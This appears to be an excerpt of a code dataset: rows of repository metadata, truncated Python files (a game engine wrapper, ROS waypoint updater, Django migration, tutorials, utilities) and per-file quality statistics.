] | 18 | 2019-03-29T10:37:01.000Z | 2022-03-02T12:47:34.000Z | DeepRTS/python/game.py | cair/DeepRTS | 2ea4de0993ea0ca2677fdb36a172779db4ce7868 | [
"MIT"
] | 23 | 2018-11-02T18:12:51.000Z | 2022-02-15T20:32:18.000Z | from DeepRTS import Engine, Constants
from DeepRTS.python import GUI
from DeepRTS.python import Config
from DeepRTS.python import DeepRTSPlayer
import numpy as np
import random
import os
import argparse
import gym
dir_path = os.path.dirname(os.path.realpath(__file__))
class Game(Engine.Game):
def __init__(se... | 26.564417 | 116 | 0.599769 | 538 | 4,330 | 4.604089 | 0.295539 | 0.033912 | 0.014534 | 0.027856 | 0.115462 | 0.101736 | 0.075091 | 0.040371 | 0.040371 | 0.040371 | 0 | 0.006335 | 0.30739 | 4,330 | 163 | 117 | 26.564417 | 0.819607 | 0.127483 | 0 | 0.084906 | 0 | 0 | 0.013028 | 0 | 0 | 0 | 0 | 0.006135 | 0 | 1 | 0.188679 | false | 0.066038 | 0.084906 | 0.018868 | 0.339623 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c65e7d463bac4685e30ec3b3b04bcf2f66cd3d98 | 2,756 | py | Python | igcollect/artfiles.py | brainexe/igcollect | 12a2fa81331f305f8852b5a30c8d90d2a8895738 | [
"MIT"
] | 15 | 2016-04-13T11:13:41.000Z | 2020-12-04T17:25:43.000Z | igcollect/artfiles.py | brainexe/igcollect | 12a2fa81331f305f8852b5a30c8d90d2a8895738 | [
"MIT"
] | 10 | 2016-12-01T15:15:31.000Z | 2020-05-07T13:54:57.000Z | igcollect/artfiles.py | brainexe/igcollect | 12a2fa81331f305f8852b5a30c8d90d2a8895738 | [
"MIT"
] | 18 | 2016-03-16T11:06:10.000Z | 2022-03-14T14:56:05.000Z | #!/usr/bin/env python
"""igcollect - Artfiles Hosting Metrics
Copyright (c) 2019 InnoGames GmbH
"""
import base64
from argparse import ArgumentParser
from time import time
try:
# Try importing the Python3 packages
from urllib.request import Request, urlopen
from urllib.parse import urlencode
except Impor... | 30.966292 | 77 | 0.589623 | 331 | 2,756 | 4.782477 | 0.380665 | 0.037903 | 0.034112 | 0.06633 | 0.263424 | 0.195199 | 0.195199 | 0.157296 | 0.157296 | 0.157296 | 0 | 0.021739 | 0.265602 | 2,756 | 88 | 78 | 31.318182 | 0.760375 | 0.057329 | 0 | 0.130435 | 0 | 0 | 0.124759 | 0.010815 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0.057971 | 0.115942 | 0 | 0.173913 | 0.101449 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c660f9f806690fc5f7e2f8042a3e47405144af39 | 2,842 | py | Python | alchemist_py/parsetab.py | Kenta11/alchemist_py | 49d013dde4688f663eb2d35519347047739ecace | [
"MIT"
] | null | null | null | alchemist_py/parsetab.py | Kenta11/alchemist_py | 49d013dde4688f663eb2d35519347047739ecace | [
"MIT"
] | 1 | 2021-08-04T14:14:09.000Z | 2021-08-04T14:14:09.000Z | alchemist_py/parsetab.py | Kenta11/alchemist_py | 49d013dde4688f663eb2d35519347047739ecace | [
"MIT"
] | 1 | 2021-07-15T07:05:42.000Z | 2021-07-15T07:05:42.000Z |
# parsetab.py
# This file is automatically generated. Do not edit.
# pylint: disable=W,C,R
_tabversion = '3.10'
_lr_method = 'LALR'
_lr_signature = 'INTEGER L_BRACE L_BRACKET RESERVED R_BRACE R_BRACKET SEMICOLON STRUCT TYPE_BOOL TYPE_CSTDINT TYPE_PRIMITIVE_FLOAT TYPE_PRIMITIVE_INT TYPE_STRING TYPE_UNSIGNED VAR_NAMEM... | 64.590909 | 622 | 0.611189 | 512 | 2,842 | 3.134766 | 0.179688 | 0.017445 | 0.013084 | 0.018692 | 0.341433 | 0.198131 | 0.120249 | 0.079128 | 0.042368 | 0.042368 | 0 | 0.096813 | 0.127727 | 2,842 | 43 | 623 | 66.093023 | 0.550625 | 0.029557 | 0 | 0.060606 | 1 | 0.030303 | 0.499818 | 0.007991 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c66c55f72d0c193656a8d7f34187cd20b4099a6f | 2,458 | py | Python | pycondor/tools.py | kant/pycondor | ee87854504e8f4023feda860d8a9ddbecc7a70da | [
"BSD-3-Clause"
] | 6 | 2015-04-17T08:25:30.000Z | 2020-04-11T23:58:16.000Z | pycondor/tools.py | kant/pycondor | ee87854504e8f4023feda860d8a9ddbecc7a70da | [
"BSD-3-Clause"
] | 3 | 2015-12-22T07:40:02.000Z | 2019-01-21T15:07:00.000Z | pycondor/tools.py | kant/pycondor | ee87854504e8f4023feda860d8a9ddbecc7a70da | [
"BSD-3-Clause"
] | 6 | 2015-11-13T18:55:22.000Z | 2020-03-12T19:32:56.000Z | #!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
Tools
http://en.wikipedia.org/wiki/Haversine_formula
ToDo: ToFix / ToTest
"""
import math
def waypoint_bearing(lat1, lon1, lat2, lon2):
"""
Calculates the bearing between 2 locations.
Method calculates the bearing between 2 locations.
@param lon1 ... | 25.340206 | 83 | 0.633849 | 345 | 2,458 | 4.475362 | 0.315942 | 0.040803 | 0.054404 | 0.072539 | 0.348446 | 0.273316 | 0.189119 | 0.143782 | 0.143782 | 0.143782 | 0 | 0.067987 | 0.240033 | 2,458 | 96 | 84 | 25.604167 | 0.758565 | 0.331977 | 0 | 0.15 | 0 | 0 | 0.005168 | 0 | 0 | 0 | 0 | 0.010417 | 0 | 1 | 0.1 | false | 0 | 0.025 | 0 | 0.15 | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c673cb49bd602adacaeaaa1c827fbb7abab3bbf6 | 580 | py | Python | functional/decorator.py | LaurenceYang/learn-python | 819994039abd3af298f73b1a73976eaa95071096 | [
"Apache-2.0"
] | 2 | 2018-01-20T03:38:58.000Z | 2019-07-21T11:33:24.000Z | functional/decorator.py | LaurenceYang/learn-python | 819994039abd3af298f73b1a73976eaa95071096 | [
"Apache-2.0"
] | null | null | null | functional/decorator.py | LaurenceYang/learn-python | 819994039abd3af298f73b1a73976eaa95071096 | [
"Apache-2.0"
] | null | null | null | import functools
def log(func):
@functools.wraps(func)
def wrapper(*args, **kw):
print('call %s():' % func.__name__)
return func(*args, **kw)
return wrapper
@log
def now():
print('2018-01-29')
now()
def logger(text):
def decorator(func):
@functools.wraps(func)
def... | 17.575758 | 58 | 0.568966 | 74 | 580 | 4.297297 | 0.337838 | 0.075472 | 0.113208 | 0.138365 | 0.534591 | 0.534591 | 0.534591 | 0.534591 | 0.301887 | 0.301887 | 0 | 0.051163 | 0.258621 | 580 | 32 | 59 | 18.125 | 0.688372 | 0 | 0 | 0.333333 | 0 | 0 | 0.098276 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.291667 | false | 0 | 0.041667 | 0 | 0.541667 | 0.208333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c67b22952d56027ba353d1b1a79d790cab33d849 | 4,781 | py | Python | PlotlyandPython/Lessons/(01) Intro to Python/Notebooks/Python Scripts/(09) Dictionaries (2).py | peternewman22/Python_Courses | 07a798b6f264fc6069eb1205c9d429f00fb54bc5 | [
"MIT"
] | null | null | null | PlotlyandPython/Lessons/(01) Intro to Python/Notebooks/Python Scripts/(09) Dictionaries (2).py | peternewman22/Python_Courses | 07a798b6f264fc6069eb1205c9d429f00fb54bc5 | [
"MIT"
] | null | null | null | PlotlyandPython/Lessons/(01) Intro to Python/Notebooks/Python Scripts/(09) Dictionaries (2).py | peternewman22/Python_Courses | 07a798b6f264fc6069eb1205c9d429f00fb54bc5 | [
"MIT"
] | null | null | null |
# coding: utf-8
# # Dictionaries (2)
# In the last lesson we saw how to create dictionaries and how to access the different items in a dictionary by their key. We also saw how to add to and update the items in a dictionary using assignment, or the <code>dict.update()</code> method, and how to delete items using the... | 32.972414 | 497 | 0.72328 | 827 | 4,781 | 4.17896 | 0.273277 | 0.041377 | 0.024306 | 0.023148 | 0.212095 | 0.110532 | 0.081597 | 0.05787 | 0 | 0 | 0 | 0.019138 | 0.180297 | 4,781 | 144 | 498 | 33.201389 | 0.86272 | 0.828279 | 0 | 0.086957 | 0 | 0 | 0.073529 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.304348 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c67c053ab03a0bdd40b9436db19002f5b98e01a7 | 7,851 | py | Python | ros/src/waypoint_updater/waypoint_updater.py | rezarajan/sdc-capstone | a1612fc8acd544e892d8d98142ffc161edf9989a | [
"MIT"
] | null | null | null | ros/src/waypoint_updater/waypoint_updater.py | rezarajan/sdc-capstone | a1612fc8acd544e892d8d98142ffc161edf9989a | [
"MIT"
] | null | null | null | ros/src/waypoint_updater/waypoint_updater.py | rezarajan/sdc-capstone | a1612fc8acd544e892d8d98142ffc161edf9989a | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import rospy
import numpy as np
from scipy.spatial import KDTree
from std_msgs.msg import Int32
from geometry_msgs.msg import PoseStamped
from styx_msgs.msg import Lane, Waypoint
import math
'''
This node will publish waypoints from the car's current position to some `x` distance ahead.
As men... | 41.760638 | 136 | 0.659279 | 1,059 | 7,851 | 4.736544 | 0.258735 | 0.033892 | 0.044059 | 0.041467 | 0.143939 | 0.074561 | 0.030303 | 0 | 0 | 0 | 0 | 0.010345 | 0.261241 | 7,851 | 187 | 137 | 41.983957 | 0.854483 | 0.24965 | 0 | 0 | 0 | 0 | 0.032896 | 0.009007 | 0 | 0 | 0 | 0.016043 | 0 | 1 | 0.114286 | false | 0.009524 | 0.066667 | 0.009524 | 0.238095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c67c49682485de62598f7200a4f39c46aba3d865 | 1,353 | py | Python | apps/hosts/migrations/0001_initial.py | yhgnice/toolsvb | 35f9d27ee2439d134cab160a7cf930ea13a31d26 | [
"Apache-2.0"
] | null | null | null | apps/hosts/migrations/0001_initial.py | yhgnice/toolsvb | 35f9d27ee2439d134cab160a7cf930ea13a31d26 | [
"Apache-2.0"
] | null | null | null | apps/hosts/migrations/0001_initial.py | yhgnice/toolsvb | 35f9d27ee2439d134cab160a7cf930ea13a31d26 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9.8 on 2017-03-09 10:31
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='HostLis... | 39.794118 | 120 | 0.602365 | 153 | 1,353 | 5.084967 | 0.503268 | 0.141388 | 0.069409 | 0.092545 | 0.186375 | 0.142674 | 0.142674 | 0 | 0 | 0 | 0 | 0.084562 | 0.248337 | 1,353 | 33 | 121 | 41 | 0.680433 | 0.04952 | 0 | 0 | 1 | 0 | 0.20265 | 0.056118 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.04 | 0.08 | 0 | 0.24 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c67cf2280718f5ed4b61e267d9cdf0637f3ec6f1 | 3,603 | py | Python | src/originexample/pipelines/handle_ggo_received.py | project-origin/example-backend | 13d9b528533dcaada8b0f0b93bbe2ef6a25c38ae | [
"MIT"
] | null | null | null | src/originexample/pipelines/handle_ggo_received.py | project-origin/example-backend | 13d9b528533dcaada8b0f0b93bbe2ef6a25c38ae | [
"MIT"
] | 1 | 2021-02-10T02:22:51.000Z | 2021-02-10T02:22:51.000Z | src/originexample/pipelines/handle_ggo_received.py | project-origin/example-backend | 13d9b528533dcaada8b0f0b93bbe2ef6a25c38ae | [
"MIT"
] | null | null | null | """
TODO write this
"""
import marshmallow_dataclass as md
from sqlalchemy import orm
from originexample import logger
from originexample.db import inject_session
from originexample.tasks import celery_app, lock
from originexample.auth import User, UserQuery
from originexample.consuming import (
GgoConsumerControl... | 27.503817 | 93 | 0.64141 | 436 | 3,603 | 5.105505 | 0.321101 | 0.049416 | 0.068733 | 0.037736 | 0.181941 | 0.181941 | 0.181941 | 0.150045 | 0.08221 | 0.06469 | 0 | 0.00522 | 0.25562 | 3,603 | 130 | 94 | 27.715385 | 0.824758 | 0.220094 | 0 | 0.139241 | 0 | 0 | 0.132358 | 0.01426 | 0 | 0 | 0 | 0.015385 | 0 | 1 | 0.025316 | false | 0 | 0.101266 | 0 | 0.139241 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c681980ffe6cfcb7e6776781d202be19d967c86b | 4,656 | py | Python | hard-gists/81635e6cbc933b7e8862/snippet.py | jjhenkel/dockerizeme | eaa4fe5366f6b9adf74399eab01c712cacaeb279 | [
"Apache-2.0"
] | 21 | 2019-07-08T08:26:45.000Z | 2022-01-24T23:53:25.000Z | hard-gists/81635e6cbc933b7e8862/snippet.py | jjhenkel/dockerizeme | eaa4fe5366f6b9adf74399eab01c712cacaeb279 | [
"Apache-2.0"
] | 5 | 2019-06-15T14:47:47.000Z | 2022-02-26T05:02:56.000Z | hard-gists/81635e6cbc933b7e8862/snippet.py | jjhenkel/dockerizeme | eaa4fe5366f6b9adf74399eab01c712cacaeb279 | [
"Apache-2.0"
] | 17 | 2019-05-16T03:50:34.000Z | 2021-01-14T14:35:12.000Z | import os
import sys
import time
import atomac
import subprocess
if len(sys.argv) < 2:
print "Usage: bouncer.py <path_to_logic_project> (<path_to_logic_project>)"
os.exit(1)
bundleId = 'com.apple.logic10'
for project in sys.argv[1:]:
projectName = project.split('/')[-1].replace('.logicx', '')
filename... | 30.631579 | 95 | 0.618986 | 549 | 4,656 | 5.176685 | 0.285975 | 0.063336 | 0.031668 | 0.019353 | 0.196341 | 0.168543 | 0.112245 | 0.112245 | 0.101337 | 0.101337 | 0 | 0.011751 | 0.2689 | 4,656 | 151 | 96 | 30.834437 | 0.823149 | 0.074742 | 0 | 0.240385 | 0 | 0 | 0.205444 | 0.011168 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.048077 | null | null | 0.211538 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c684d80b73e9aa13f3fe72698614ec87757d94ac | 805 | py | Python | Observed_Game_Parra/consent/models.py | danielfParra/Lying_Online_Parra2022 | 10e8ef6248f684f63e9dea1314ef57f197e48773 | [
"CC0-1.0"
] | null | null | null | Observed_Game_Parra/consent/models.py | danielfParra/Lying_Online_Parra2022 | 10e8ef6248f684f63e9dea1314ef57f197e48773 | [
"CC0-1.0"
] | null | null | null | Observed_Game_Parra/consent/models.py | danielfParra/Lying_Online_Parra2022 | 10e8ef6248f684f63e9dea1314ef57f197e48773 | [
"CC0-1.0"
] | null | null | null | from otree.api import (
models,
widgets,
BaseConstants,
BaseSubsession,
BaseGroup,
BasePlayer,
Currency as c,
currency_range,
)
author = 'Daniel Parra'
doc = """
Consent
"""
class Constants(BaseConstants):
name_in_url = 'consent'
players_per_group = None
num_rounds = 1
... | 18.72093 | 88 | 0.649689 | 97 | 805 | 5.329897 | 0.659794 | 0.034816 | 0.088975 | 0.042553 | 0.054159 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013008 | 0.236025 | 805 | 42 | 89 | 19.166667 | 0.827642 | 0 | 0 | 0.133333 | 0 | 0 | 0.293168 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.066667 | 0.033333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c685b0ee814971262f2ee615d82d87aa09cf8cef | 448 | py | Python | tests/compute/utils.py | joshcarty/dgl | 4464b9734c1061bd84325a54883c5046031def37 | [
"Apache-2.0"
] | 4 | 2018-12-25T14:59:08.000Z | 2021-07-02T12:36:40.000Z | tests/compute/utils.py | xyanAI/dgl | 36daf66f6216bad4d30651311bcb87aa45dd33d5 | [
"Apache-2.0"
] | 6 | 2018-12-13T15:22:08.000Z | 2021-04-22T02:40:27.000Z | tests/compute/utils.py | xyanAI/dgl | 36daf66f6216bad4d30651311bcb87aa45dd33d5 | [
"Apache-2.0"
] | 4 | 2020-12-26T10:39:36.000Z | 2020-12-26T12:38:52.000Z | import pytest
import backend as F
if F._default_context_str == 'cpu':
parametrize_dtype = pytest.mark.parametrize("idtype", [F.int32, F.int64])
else:
# only test int32 on GPU because many graph operators are not supported for int64.
parametrize_dtype = pytest.mark.parametrize("idtype", [F.int32, F.int64])
... | 28 | 86 | 0.676339 | 62 | 448 | 4.790323 | 0.645161 | 0.107744 | 0.148148 | 0.175084 | 0.37037 | 0.37037 | 0.37037 | 0.37037 | 0.37037 | 0.37037 | 0 | 0.033898 | 0.209821 | 448 | 15 | 87 | 29.866667 | 0.805085 | 0.178571 | 0 | 0.166667 | 0 | 0 | 0.040984 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.166667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c685c691386312383505490cedb37b0394b57c94 | 1,069 | py | Python | apps/controllerx/cx_helper.py | xaviml/z2m_ikea_controller | e612af5a913e8b4784dcaa23ea5319115427d083 | [
"MIT"
] | 19 | 2019-11-21T19:51:40.000Z | 2020-01-14T09:24:33.000Z | apps/controllerx/cx_helper.py | xaviml/z2m_ikea_controller | e612af5a913e8b4784dcaa23ea5319115427d083 | [
"MIT"
] | 11 | 2019-11-20T16:43:35.000Z | 2020-01-17T16:23:06.000Z | apps/controllerx/cx_helper.py | xaviml/z2m_ikea_controller | e612af5a913e8b4784dcaa23ea5319115427d083 | [
"MIT"
] | 5 | 2019-12-20T21:31:07.000Z | 2020-01-06T18:49:52.000Z | import importlib
import os
import pkgutil
from typing import Any, List, Type
def _import_modules(file_dir: str, package: str) -> None:
pkg_dir = os.path.dirname(file_dir)
for (_, name, ispkg) in pkgutil.iter_modules([pkg_dir]):
if ispkg:
_import_modules(pkg_dir + "/" + name + "/__init__.py... | 31.441176 | 88 | 0.658559 | 142 | 1,069 | 4.556338 | 0.295775 | 0.054096 | 0.051005 | 0.046368 | 0.140649 | 0.102009 | 0.102009 | 0.102009 | 0 | 0 | 0 | 0 | 0.214219 | 1,069 | 33 | 89 | 32.393939 | 0.770238 | 0 | 0 | 0 | 0 | 0 | 0.024322 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16 | false | 0 | 0.32 | 0.04 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
c68b2c92d58355bdae49241aa6bb6793ce19665b | 1,170 | py | Python | com.systemincloud.examples.tasks.pythontask/src/test/py/tasks/ports/Atomic3SIn0AIn2Out.py | systemincloud/sic-examples | b82d5d672f515b1deb5ddb35c5a93c003e03c030 | [
"Apache-2.0"
] | null | null | null | com.systemincloud.examples.tasks.pythontask/src/test/py/tasks/ports/Atomic3SIn0AIn2Out.py | systemincloud/sic-examples | b82d5d672f515b1deb5ddb35c5a93c003e03c030 | [
"Apache-2.0"
] | 15 | 2015-01-08T20:28:19.000Z | 2016-07-20T07:19:15.000Z | com.systemincloud.examples.tasks.pythontask/src/test/py/tasks/ports/Atomic3SIn0AIn2Out.py | systemincloud/sic-examples | b82d5d672f515b1deb5ddb35c5a93c003e03c030 | [
"Apache-2.0"
] | null | null | null | from sicpythontask.PythonTaskInfo import PythonTaskInfo
from sicpythontask.PythonTask import PythonTask
from sicpythontask.InputPort import InputPort
from sicpythontask.OutputPort import OutputPort
from sicpythontask.data.Int32 import Int32
from sicpythontask.data.Float32 import Float32
from sicpythontask.data.Float64 ... | 39 | 92 | 0.718803 | 141 | 1,170 | 5.843972 | 0.262411 | 0.165049 | 0.101942 | 0.041262 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.060417 | 0.179487 | 1,170 | 29 | 93 | 40.344828 | 0.797917 | 0 | 0 | 0 | 0 | 0 | 0.019675 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.08 | false | 0 | 0.32 | 0 | 0.44 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.